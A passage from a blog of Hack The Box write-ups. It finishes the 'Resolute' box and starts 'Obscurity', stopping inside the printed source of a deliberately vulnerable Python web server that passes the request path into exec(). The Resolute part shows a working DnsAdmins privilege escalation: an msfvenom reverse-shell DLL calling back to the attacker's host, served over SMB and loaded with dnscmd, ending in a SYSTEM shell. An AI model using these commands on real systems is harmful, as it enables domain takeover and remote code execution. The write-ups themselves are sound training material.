<a href="https://github.com/Hackplayers/evil-winrm">evil-winrm</a>.</p>
<div class="highlight"><pre><span></span><code>ruby evil-winrm.rb -u ryan -p 'Serv3r4Admin4cc123!' -i 10.10.10.169
C:\Users\ryan\Desktop> type note.txt
Email to team:
- due to change freeze, any system changes (apart from those to the administrator account) will be automatically reverted within 1 minute
</code></pre></div>
<h1>Root</h1>
<p>We enumerate our new permissions. Using
<a href="https://github.com/BloodHoundAD/BloodHound">Bloodhound</a> we see that we are part
of the <code>DNSADMINS</code> group.</p>
<p><img alt="Ryan's groups" class="image-process-article-image" src="/media/2020.05/derivatives/article-image/resolute_02.png"/></p>
<p>We can confirm this by using <code>whoami /all</code> (I remove the "SUID" and "Attributes"
columns for more clarity).</p>
<div class="highlight"><pre><span></span><code>*Evil-WinRM* PS C:\Users\ryan\Documents> whoami /all
USER INFORMATION
----------------
User Name SID
============= ==============================================
megabank\ryan S-1-5-21-1392959593-3013219662-3596683436-1105
GROUP INFORMATION
-----------------
Group Name Type
========================================== ================
Everyone Well-known group
BUILTIN\Users Alias
BUILTIN\Pre-Windows 2000 Compatible Access Alias
BUILTIN\Remote Management Users Alias
NT AUTHORITY\NETWORK Well-known group
NT AUTHORITY\Authenticated Users Well-known group
NT AUTHORITY\This Organization Well-known group
MEGABANK\Contractors Group
MEGABANK\DnsAdmins Alias
NT AUTHORITY\NTLM Authentication Well-known group
Mandatory Label\Medium Mandatory Level Label
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
</code></pre></div>
<p>A few Google research allow us to find that being DNSAdmin allow for privilege
escalation. The technique is to change the DNS configuration so it will load a
DLL when starting the DNS service. We can either charge the DLL locally or
remotely using SMB.</p>
<ul>
<li><a href="https://adsecurity.org/?p=4064">https://adsecurity.org/?p=4064</a></li>
<li><a href="https://github.com/gdedrouas/Exchange-AD-Privesc/blob/master/DNSAdmins/DNSAdmins.md">https://github.com/gdedrouas/Exchange-AD-Privesc/blob/master/DNSAdmins/DNSAdmins.md</a></li>
<li><a href="http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html">http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html</a></li>
<li><a href="https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83">https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83</a></li>
</ul>
<p>In order to write the DLL we use <code>msfvenom</code> with a classic reverse shell
payload.</p>
<div class="highlight"><pre><span></span><code>msfvenom -p windows/x64/shell_reverse_tcp LHOST="10.10.14.56" LPORT=4444 -f dll -o ~/srv/msf3.dll
</code></pre></div>
<p>We start our SMB server using
<a href="https://github.com/SecureAuthCorp/impacket">impacket</a> <code>smbserver.py</code></p>
<div class="highlight"><pre><span></span><code>python smbserver.py -ip 10.10.14.56 IOIO ~/srv/
</code></pre></div>
<p>Registry property serverlevelplugindll successfully reset.
Command completed successfully. We start our handler using metasploit. And using
our shell as <code>ryan</code> we change the DNS configuration, stop the DNS service and
start it back using <code>sc.exe</code>. We can see in our SMB server's logs that our
DLL is sent to the server. And we can see on our metasploit handler that we get
a revershell. We can then easily get the root flag.</p>
<div class="highlight"><pre><span></span><code>::: text
*Evil-WinRM* PS C:\Users\ryan> dnscmd /config /serverlevelplugindll \\10.10.14.56\IOIO\msf3.dll
*Evil-WinRM* PS C:\Users\ryan> sc.exe stop dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 3 STOP_PENDING
(STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x1
WAIT_HINT : 0x7530
*Evil-WinRM* PS C:\Users\ryan> sc.exe start dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
PID : 4980
FLAGS :
</code></pre></div>
<p>The metasploit handler is running simultaneously.</p>
<div class="highlight"><pre><span></span><code>msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.56:4444
[*] Command shell session 2 opened (10.10.14.56:4444 -> 10.10.10.169:50613) at 2019-12-12 03:46:20 -0500
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
e1d94876a506850d0c20edb5405e619c
</code></pre></div>
<h1>Wrapping up</h1>
<p>Getting the first user is quit easy if you use
<a href="https://github.com/portcullislabs/enum4linux">enum4linux</a>. You can even spray
the password by hand.
The second user is just enumeration. It can take a long time before enumerating
the right folder.
The root part is quit interesting and let me learn a few things about DLL
injection.</p>HTB: Obscurity2020-05-11T10:05:00+02:002020-05-11T10:05:00+02:00maggicktag:maggick.fr,2020-05-11:/2020/05/htb-obscurity.html<p><img alt="Obscurity card" class="align-left" src="/media/2020.05/obscurity_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/219">Obscurity</a>
This box is classified as a medium machine. It was release on December the first
2019 by <a href="https://www.hackthebox.com/home/users/profile/83743">clubby789</a>.
It implies some enumeration and a lot of python.</p>
<p><img alt="Obscurity card" class="align-left" src="/media/2020.05/obscurity_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/219">Obscurity</a>
This box is classified as a medium machine. It was release on December the first
2019 by <a href="https://www.hackthebox.com/home/users/profile/83743">clubby789</a>.
It implies some enumeration and a lot of python.</p>
<h1>Getting User</h1>
<h2>Recon</h2>
<p>We start with a <code>nmap</code> scan. Only port 22 (SSH) and port 8080 are open.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.80 scan initiated Fri Dec 6 04:58:41 2019 as: nmap -sS -p- -oA nmap 10.10.10.168
Nmap scan report for 10.10.10.168
Host is up (0.091s latency).
Not shown: 65531 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp closed http
8080/tcp open http-proxy
9000/tcp closed cslistener
# Nmap done at Fri Dec 6 05:01:34 2019 -- 1 IP address (1 host up) scanned in 173.56 seconds
</code></pre></div>
<p>We run a service scan on this two ports, the second port is an HTTP server.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.80 scan initiated Fri Dec 6 05:11:21 2019 as: nmap -sSV -p22,8080-oA service 10.10.10.168
Nmap scan report for 10.10.10.168
Host is up (0.092s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
8080/tcp open http-proxy BadHTTPServer
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.80%I=7%D=12/6%Time=5DEA2950%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,10FC,"HTTP/1\.1\x20200\x20OK\nDate:\x20Fri,\x2006\x20Dec\x2020
SF:19\x2010:12:29\nServer:\x20BadHTTPServer\nLast-Modified:\x20Fri,\x2006\
SF:x20Dec\x202019\x2010:12:29\nContent-Length:\x204171\nContent-Type:\x20t
SF:ext/html\nConnection:\x20Closed\n\n<!DOCTYPE x20html>
\n<html\x20lang=\" sf:en\"="">\n<head>\n\t<meta\x20charset=\"utf-8\">\n\t<title>0bscura</title>\
SF:n\t<meta\x20http-equiv=\"x-ua-compatible\"\x20content=\"ie=edge\">\n\t<
SF:meta\x20name=\"viewport\"\x20content=\"width=device-width,\x20initial-s
SF:cale=1\">\n\t<meta\x20name=\"keywords\"\x20content=\"\">\n\t<meta\x20na sf:me='\"description\"\x20content=\"\"'>\n<!--\x20\nEasy\x20Profile\x20Templ
SF:ate\nhttp://www\.templatemo\.com/tm-467-easy-profile\n-->\n\t<!--\x20st
SF:ylesheet\x20css\x20-->\n\t<link\x20rel=\"stylesheet\"\x20href=\"css boo="" sf:tstrap\.min\.css\"="">\n\t<link\x20rel=\"stylesheet\"\x20href=\"css font-a="" sf:wesome\.min\.css\"="">\n\t<link\x20rel=\"stylesheet\"\x20href=\"css sf:temo-blue\.css\"="" templa="">\n</link\x20rel=\"stylesheet\"\x20href=\"css></link\x20rel=\"stylesheet\"\x20href=\"css></link\x20rel=\"stylesheet\"\x20href=\"css></meta\x20na></meta\x20name=\"keywords\"\x20content=\"\"></meta\x20http-equiv=\"x-ua-compatible\"\x20content=\"ie=edge\"></meta\x20charset=\"utf-8\"></head>\n<body\x20data-spy=\"scroll\"\x20data-target sf:='\"\.navbar-collapse\"'>\n\n<!--\x20preloader\x20section\x20-->\n<!--\n<
SF:div\x20class=\"preloader\">\n\t<div\x20class=\"sk-spinner\x20sk-spinner
SF:-wordpress\">\n")%r(HTTPOptions,10FC,"HTTP/1\.1\x20200\x20OK\nDate:\x20
SF:Fri,\x2006\x20Dec\x202019\x2010:12:30\nServer:\x20BadHTTPServer\nLast-M
SF:odified:\x20Fri,\x2006\x20Dec\x202019\x2010:12:30\nContent-Length:\x204
SF:171\nContent-Type:\x20text/html\nConnection:\x20Closed\n\n<!DOCTYPE\x20
SF:html>\n<html\x20lang=\"en\">\n<head>\n\t<meta\x20charset=\"utf-8\">\n\t
SF:<title>0bscura</title>\n\t<meta\x20http-equiv=\"X-UA-Compatible\"\x20co
SF:ntent=\"IE=Edge\">\n\t<meta\x20name=\"viewport\"\x20content=\"width=dev
SF:ice-width,\x20initial-scale=1\">\n\t<meta\x20name=\"keywords\"\x20conte
SF:nt=\"\">\n\t<meta\x20name=\"description\"\x20content=\"\">\n<!--\x20\nE
SF:asy\x20Profile\x20Template\nhttp://www\.templatemo\.com/tm-467-easy-pro
SF:file\n-->\n\t<!--\x20stylesheet\x20css\x20-->\n\t<link\x20rel=\"stylesh sf:eet\"\x20href='\"css/bootstrap\.min\.css\"'>\n\t<link\x20rel=\"stylesheet sf:\"\x20href='\"css/font-awesome\.min\.css\"'>\n\t<link\x20rel=\"stylesheet sf:\"\x20href='\"css/templatemo-blue\.css\"'>\n\n<body\x20data-spy=\" sf:scroll\"\x20data-target='\"\.navbar-collapse\"'>\n\n<!--\x20preloader\x20
SF:section\x20-->\n<!--\n<div\x20class=\"preloader\">\n\t<div\x20class=\"s sf:k-spinner\x20sk-spinner-wordpress\"="">\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Dec 6 05:11:35 2019 -- 1 IP address (1 host up) scanned in 13.83 seconds
</div\x20class=\"s></body\x20data-spy=\"></link\x20rel=\"stylesheet></link\x20rel=\"stylesheet></link\x20rel=\"stylesh></body\x20data-spy=\"scroll\"\x20data-target></html\x20lang=\"></code></pre></div>
<h2>Web</h2>
<p>We take a look at the home page. A few sentences inform us that the web server
is a custom one and that its source code is in a python file inside the
development directory.</p>
<blockquote>
<p>Here at 0bscura, we take a unique approach to security: you can't be hacked
if attackers don't know what software you're using!</p>
<p>That's why our motto is 'security through obscurity'; we write all our own
software from scratch, even the webserver this is running on! This means that
no exploits can possibly exist for it, which means it's totally secure!</p>
<p>Development
Server Dev</p>
<p>Message to server devs: the current source code for the web server is in 'SuperSecureServer.py' in the secret development directory</p>
</blockquote>
<p>We launch a <code>dirb</code> in order to find this secret development directory. But
nothing come up.</p>
<div class="highlight"><pre><span></span><code>-----------------
DIRB v2.22
By The Dark Raver
-----------------
OUTPUT_FILE: dirb
START_TIME: Fri Dec 6 05:50:36 2019
URL_BASE: http://10.10.10.168:8080/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.168:8080/ ----
+ http://10.10.10.168:8080/index.html (CODE:200|SIZE:4171)
-----------------
END_TIME: Fri Dec 6 06:06:25 2019
DOWNLOADED: 4612 - FOUND: 1
</code></pre></div>
<p>We know that the folder will contain the <code>SuperSecureServer.py</code> file.
We fire up burp and load the following in our intruder.</p>
<div class="highlight"><pre><span></span><code>GET /§§/SuperSecureServer.py HTTP/1.1
Host: 10.10.10.168:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Fri, 06 Dec 2019 14:51:43
Cache-Control: max-age=0
</code></pre></div>
<p>We attack it in sniper mod using the <code>dirb</code> wordlist in
<code>/usr/share/dirb/wordlists/common.txt</code>.</p>
<p>We sort the result by response's size and found the <code>develop</code> directory.</p>
<p><img alt="burp intruder" class="image-process-article-image" src="/media/2020.05/derivatives/article-image/obscurity_1.png"/></p>
<p>We <code>wget</code> the code on our machine.</p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">socket</span>
<span class="kn">import</span> <span class="nn">threading</span>
<span class="kn">from</span> <span class="nn">datetime</span> <span class="kn">import</span> <span class="n">datetime</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">mimetypes</span>
<span class="kn">import</span> <span class="nn">urllib.parse</span>
<span class="kn">import</span> <span class="nn">subprocess</span>
<span class="n">respTemplate</span> <span class="o">=</span> <span class="s2">"""HTTP/1.1 </span><span class="si">{statusNum}</span><span class="s2"> </span><span class="si">{statusCode}</span>
<span class="s2">Date: </span><span class="si">{dateSent}</span>
<span class="s2">Server: </span><span class="si">{server}</span>
<span class="s2">Last-Modified: </span><span class="si">{modified}</span>
<span class="s2">Content-Length: </span><span class="si">{length}</span>
<span class="s2">Content-Type: </span><span class="si">{contentType}</span>
<span class="s2">Connection: </span><span class="si">{connectionType}</span>
<span class="si">{body}</span>
<span class="s2">"""</span>
<span class="n">DOC_ROOT</span> <span class="o">=</span> <span class="s2">"DocRoot"</span>
<span class="n">CODES</span> <span class="o">=</span> <span class="p">{</span><span class="s2">"200"</span><span class="p">:</span> <span class="s2">"OK"</span><span class="p">,</span>
<span class="s2">"304"</span><span class="p">:</span> <span class="s2">"NOT MODIFIED"</span><span class="p">,</span>
<span class="s2">"400"</span><span class="p">:</span> <span class="s2">"BAD REQUEST"</span><span class="p">,</span> <span class="s2">"401"</span><span class="p">:</span> <span class="s2">"UNAUTHORIZED"</span><span class="p">,</span> <span class="s2">"403"</span><span class="p">:</span> <span class="s2">"FORBIDDEN"</span><span class="p">,</span> <span class="s2">"404"</span><span class="p">:</span> <span class="s2">"NOT FOUND"</span><span class="p">,</span>
<span class="s2">"500"</span><span class="p">:</span> <span class="s2">"INTERNAL SERVER ERROR"</span><span class="p">}</span>
<span class="n">MIMES</span> <span class="o">=</span> <span class="p">{</span><span class="s2">"txt"</span><span class="p">:</span> <span class="s2">"text/plain"</span><span class="p">,</span> <span class="s2">"css"</span><span class="p">:</span><span class="s2">"text/css"</span><span class="p">,</span> <span class="s2">"html"</span><span class="p">:</span><span class="s2">"text/html"</span><span class="p">,</span> <span class="s2">"png"</span><span class="p">:</span> <span class="s2">"image/png"</span><span class="p">,</span> <span class="s2">"jpg"</span><span class="p">:</span><span class="s2">"image/jpg"</span><span class="p">,</span>
<span class="s2">"ttf"</span><span class="p">:</span><span class="s2">"application/octet-stream"</span><span class="p">,</span><span class="s2">"otf"</span><span class="p">:</span><span class="s2">"application/octet-stream"</span><span class="p">,</span> <span class="s2">"woff"</span><span class="p">:</span><span class="s2">"font/woff"</span><span class="p">,</span> <span class="s2">"woff2"</span><span class="p">:</span> <span class="s2">"font/woff2"</span><span class="p">,</span>
<span class="s2">"js"</span><span class="p">:</span><span class="s2">"application/javascript"</span><span class="p">,</span><span class="s2">"gz"</span><span class="p">:</span><span class="s2">"application/zip"</span><span class="p">,</span> <span class="s2">"py"</span><span class="p">:</span><span class="s2">"text/plain"</span><span class="p">,</span> <span class="s2">"map"</span><span class="p">:</span> <span class="s2">"application/octet-stream"</span><span class="p">}</span>
<span class="k">class</span> <span class="nc">Response</span><span class="p">:</span>
<span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="o">**</span><span class="n">kwargs</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="vm">__dict__</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">kwargs</span><span class="p">)</span>
<span class="n">now</span> <span class="o">=</span> <span class="n">datetime</span><span class="o">.</span><span class="n">now</span><span class="p">()</span>
<span class="bp">self</span><span class="o">.</span><span class="n">dateSent</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">modified</span> <span class="o">=</span> <span class="n">now</span><span class="o">.</span><span class="n">strftime</span><span class="p">(</span><span class="s2">"</span><span class="si">%a</span><span class="s2">, </span><span class="si">%d</span><span class="s2"> %b %Y %H:%M:%S"</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">stringResponse</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">return</span> <span class="n">respTemplate</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="o">**</span><span class="bp">self</span><span class="o">.</span><span class="vm">__dict__</span><span class="p">)</span>
<span class="k">class</span> <span class="nc">Request</span><span class="p">:</span>
<span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">request</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">good</span> <span class="o">=</span> <span class="kc">True</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">request</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">parseRequest</span><span class="p">(</span><span class="n">request</span><span class="p">)</span>
<span class="bp">self</span><span class="o">.</span><span class="n">method</span> <span class="o">=</span> <span class="n">request</span><span class="p">[</span><span class="s2">"method"</span><span class="p">]</span>
<span class="bp">self</span><span class="o">.</span><span class="n">doc</span> <span class="o">=</span> <span class="n">request</span><span class="p">[</span><span class="s2">"doc"</span><span class="p">]</span>
<span class="bp">self</span><span class="o">.</span><span class="n">vers</span> <span class="o">=</span> <span class="n">request</span><span class="p">[</span><span class="s2">"vers"</span><span class="p">]</span>
<span class="bp">self</span><span class="o">.</span><span class="n">header</span> <span class="o">=</span> <span class="n">request</span><span class="p">[</span><span class="s2">"header"</span><span class="p">]</span>
<span class="bp">self</span><span class="o">.</span><span class="n">body</span> <span class="o">=</span> <span class="n">request</span><span class="p">[</span><span class="s2">"body"</span><span class="p">]</span>
<span class="k">except</span><span class="p">:</span>
<span class="bp">self</span><span class="o">.</span><span class="n">good</span> <span class="o">=</span> <span class="kc">False</span>
<span class="k">def</span> <span class="nf">parseRequest</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">request</span><span class="p">):</span>
<span class="n">req</span> <span class="o">=</span> <span class="n">request</span><span class="o">.</span><span class="n">strip</span><span class="p">(</span><span class="s2">"</span><span class="se">\r</span><span class="s2">"</span><span class="p">)</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">)</span>
<span class="n">method</span><span class="p">,</span><span class="n">doc</span><span class="p">,</span><span class="n">vers</span> <span class="o">=</span> <span class="n">req</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">" "</span><span class="p">)</span>
<span class="n">header</span> <span class="o">=</span> <span class="n">req</span><span class="p">[</span><span class="mi">1</span><span class="p">:</span><span class="o">-</span><span class="mi">3</span><span class="p">]</span>
<span class="n">body</span> <span class="o">=</span> <span class="n">req</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="n">headerDict</span> <span class="o">=</span> <span class="p">{}</span>
<span class="k">for</span> <span class="n">param</span> <span class="ow">in</span> <span class="n">header</span><span class="p">:</span>
<span class="n">pos</span> <span class="o">=</span> <span class="n">param</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="s2">": "</span><span class="p">)</span>
<span class="n">key</span><span class="p">,</span> <span class="n">val</span> <span class="o">=</span> <span class="n">param</span><span class="p">[:</span><span class="n">pos</span><span class="p">],</span> <span class="n">param</span><span class="p">[</span><span class="n">pos</span><span class="o">+</span><span class="mi">2</span><span class="p">:]</span>
<span class="n">headerDict</span><span class="o">.</span><span class="n">update</span><span class="p">({</span><span class="n">key</span><span class="p">:</span> <span class="n">val</span><span class="p">})</span>
<span class="k">return</span> <span class="p">{</span><span class="s2">"method"</span><span class="p">:</span> <span class="n">method</span><span class="p">,</span> <span class="s2">"doc"</span><span class="p">:</span> <span class="n">doc</span><span class="p">,</span> <span class="s2">"vers"</span><span class="p">:</span> <span class="n">vers</span><span class="p">,</span> <span class="s2">"header"</span><span class="p">:</span> <span class="n">headerDict</span><span class="p">,</span> <span class="s2">"body"</span><span class="p">:</span> <span class="n">body</span><span class="p">}</span>
<span class="k">class</span> <span class="nc">Server</span><span class="p">:</span>
<span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">host</span> <span class="o">=</span> <span class="n">host</span>
<span class="bp">self</span><span class="o">.</span><span class="n">port</span> <span class="o">=</span> <span class="n">port</span>
<span class="bp">self</span><span class="o">.</span><span class="n">sock</span> <span class="o">=</span> <span class="n">socket</span><span class="o">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="o">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="o">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
<span class="bp">self</span><span class="o">.</span><span class="n">sock</span><span class="o">.</span><span class="n">setsockopt</span><span class="p">(</span><span class="n">socket</span><span class="o">.</span><span class="n">SOL_SOCKET</span><span class="p">,</span> <span class="n">socket</span><span class="o">.</span><span class="n">SO_REUSEADDR</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
<span class="bp">self</span><span class="o">.</span><span class="n">sock</span><span class="o">.</span><span class="n">bind</span><span class="p">((</span><span class="bp">self</span><span class="o">.</span><span class="n">host</span><span class="p">,</span> <span class="bp">self</span><span class="o">.</span><span class="n">port</span><span class="p">))</span>
<span class="k">def</span> <span class="nf">listen</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">sock</span><span class="o">.</span><span class="n">listen</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span>
<span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
<span class="n">client</span><span class="p">,</span> <span class="n">address</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">sock</span><span class="o">.</span><span class="n">accept</span><span class="p">()</span>
<span class="n">client</span><span class="o">.</span><span class="n">settimeout</span><span class="p">(</span><span class="mi">60</span><span class="p">)</span>
<span class="n">threading</span><span class="o">.</span><span class="n">Thread</span><span class="p">(</span><span class="n">target</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">listenToClient</span><span class="p">,</span><span class="n">args</span> <span class="o">=</span> <span class="p">(</span><span class="n">client</span><span class="p">,</span><span class="n">address</span><span class="p">))</span><span class="o">.</span><span class="n">start</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">listenToClient</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">client</span><span class="p">,</span> <span class="n">address</span><span class="p">):</span>
<span class="n">size</span> <span class="o">=</span> <span class="mi">1024</span>
<span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">client</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="n">size</span><span class="p">)</span>
<span class="k">if</span> <span class="n">data</span><span class="p">:</span>
<span class="c1"># Set the response to echo back the recieved data</span>
<span class="n">req</span> <span class="o">=</span> <span class="n">Request</span><span class="p">(</span><span class="n">data</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span>
<span class="bp">self</span><span class="o">.</span><span class="n">handleRequest</span><span class="p">(</span><span class="n">req</span><span class="p">,</span> <span class="n">client</span><span class="p">,</span> <span class="n">address</span><span class="p">)</span>
<span class="n">client</span><span class="o">.</span><span class="n">shutdown</span><span class="p">()</span>
<span class="n">client</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">raise</span> <span class="n">error</span><span class="p">(</span><span class="s1">'Client disconnected'</span><span class="p">)</span>
<span class="k">except</span><span class="p">:</span>
<span class="n">client</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
<span class="k">return</span> <span class="kc">False</span>
<span class="k">def</span> <span class="nf">handleRequest</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">request</span><span class="p">,</span> <span class="n">conn</span><span class="p">,</span> <span class="n">address</span><span class="p">):</span>
<span class="k">if</span> <span class="n">request</span><span class="o">.</span><span class="n">good</span><span class="p">:</span>
<span class="c1"># try:</span>
<span class="c1"># print(str(request.method) + " " + str(request.doc), end=' ')</span>
<span class="c1"># print("from {0}".format(address[0]))</span>
<span class="c1"># except Exception as e:</span>
<span class="c1"># print(e)</span>
<span class="n">document</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">serveDoc</span><span class="p">(</span><span class="n">request</span><span class="o">.</span><span class="n">doc</span><span class="p">,</span> <span class="n">DOC_ROOT</span><span class="p">)</span>
<span class="n">statusNum</span><span class="o">=</span><span class="n">document</span><span class="p">[</span><span class="s2">"status"</span><span class="p">]</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">document</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">serveDoc</span><span class="p">(</span><span class="s2">"/errors/400.html"</span><span class="p">,</span> <span class="n">DOC_ROOT</span><span class="p">)</span>
<span class="n">statusNum</span><span class="o">=</span><span class="s2">"400"</span>
<span class="n">body</span> <span class="o">=</span> <span class="n">document</span><span class="p">[</span><span class="s2">"body"</span><span class="p">]</span>
<span class="n">statusCode</span><span class="o">=</span><span class="n">CODES</span><span class="p">[</span><span class="n">statusNum</span><span class="p">]</span>
<span class="n">dateSent</span> <span class="o">=</span> <span class="s2">""</span>
<span class="n">server</span> <span class="o">=</span> <span class="s2">"BadHTTPServer"</span>
<span class="n">modified</span> <span class="o">=</span> <span class="s2">""</span>
<span class="n">length</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">body</span><span class="p">)</span>
<span class="n">contentType</span> <span class="o">=</span> <span class="n">document</span><span class="p">[</span><span class="s2">"mime"</span><span class="p">]</span> <span class="c1"># Try and identify MIME type from string</span>
<span class="n">connectionType</span> <span class="o">=</span> <span class="s2">"Closed"</span>
<span class="n">resp</span> <span class="o">=</span> <span class="n">Response</span><span class="p">(</span>
<span class="n">statusNum</span><span class="o">=</span><span class="n">statusNum</span><span class="p">,</span> <span class="n">statusCode</span><span class="o">=</span><span class="n">statusCode</span><span class="p">,</span>
<span class="n">dateSent</span> <span class="o">=</span> <span class="n">dateSent</span><span class="p">,</span> <span class="n">server</span> <span class="o">=</span> <span class="n">server</span><span class="p">,</span>
<span class="n">modified</span> <span class="o">=</span> <span class="n">modified</span><span class="p">,</span> <span class="n">length</span> <span class="o">=</span> <span class="n">length</span><span class="p">,</span>
<span class="n">contentType</span> <span class="o">=</span> <span class="n">contentType</span><span class="p">,</span> <span class="n">connectionType</span> <span class="o">=</span> <span class="n">connectionType</span><span class="p">,</span>
<span class="n">body</span> <span class="o">=</span> <span class="n">body</span>
<span class="p">)</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">resp</span><span class="o">.</span><span class="n">stringResponse</span><span class="p">()</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">data</span><span class="p">:</span>
<span class="k">return</span> <span class="o">-</span><span class="mi">1</span>
<span class="n">conn</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">data</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
<span class="k">return</span> <span class="mi">0</span>
<span class="k">def</span> <span class="nf">serveDoc</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">path</span><span class="p">,</span> <span class="n">docRoot</span><span class="p">):</span>
<span class="n">path</span> <span class="o">=</span> <span class="n">urllib</span><span class="o">.</span><span class="n">parse</span><span class="o">.</span><span class="n">unquote</span><span class="p">(</span><span class="n">path</span><span class="p">)</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">info</span> <span class="o">=</span> <span class="s2">"output = 'Document: </span><span class="si">{}</span><span class="s2">'"</span> <span class="c1"># Keep the output for later debug</span>
<span class="n">exec</span><span class="p">(</span><span class="n">info</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">path</span><span class="p">))</span> <span class="c1"># This is how you do string formatting, right?</span>
